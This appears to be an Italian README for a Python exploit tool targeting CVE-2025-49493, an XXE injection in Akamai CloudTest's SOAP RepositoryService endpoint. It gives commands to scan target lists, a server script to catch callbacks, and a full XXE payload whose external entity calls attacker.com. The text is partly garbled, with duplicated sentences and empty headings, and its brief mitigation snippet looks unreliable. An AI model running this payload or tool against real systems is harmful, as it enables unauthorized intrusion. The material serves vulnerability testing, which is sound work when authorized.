
Questo è un exploit basato su Python per CVE-2025-49493, che riguarda le versioni di Akamai CloudTest precedenti alla 60 2025.06.02 (12988). La vulnerabilità consente l'iniezione di XML External Entity (XXE) tramite l'endpoint del servizio SOAP.
Questo è un exploit basato su Python per CVE-2025-49493, che colpisce le versioni di Akamai CloudTest precedenti alla 60 2025.06.02 (12988). La vulnerabilità consente l'iniezione di XML External Entity (XXE) tramite l'endpoint del servizio SOAP.
La vulnerabilità è presente nell'endpoint SOAP /concerto/services/RepositoryService dove l'input XML viene elaborato senza una corretta sanificazione delle entità esterne. Un attaccante può creare payload XML dannosi per innescare attacchi XXE, che potenzialmente possono portare a:
Installa i pacchetti richiesti:
pip install -r requirements.txt
Oppure installa manualmente:
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# With custom timeout
python main.py targets.txt collaborator.burp.com --timeout 20
# Using interactsh for OOB detection
python main.py targets.txt attacker.interactsh.com
positional arguments:
targets Target file containing list of Akamai CloudTest hosts
xxe_server XXE server to capture requests (e.g., attacker.com or IP)
optional arguments:
-h, --help show this help message and exit
--timeout TIMEOUT Request timeout in seconds (default: 10)
Crea un file targets.txt con un target per riga:
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-clientConfigura un semplice server HTTP per catturare le richieste:
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
L'exploit utilizza la seguente struttura del payload XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
Azioni immediate:
Soluzioni a lungo termine:
Elaborazione XML sicura:
# Disable external entities in XML parsers
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
Validazione degli input:
Questo strumento è fornito esclusivamente per scopi educativi e di test autorizzati. Gli utenti sono responsabili di assicurarsi di avere la dovuta autorizzazione prima di testare qualsiasi sistema. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo strumento.
Questo progetto è concesso in licenza secondo la Licenza MIT - consulta il file LICENSE per i dettagli.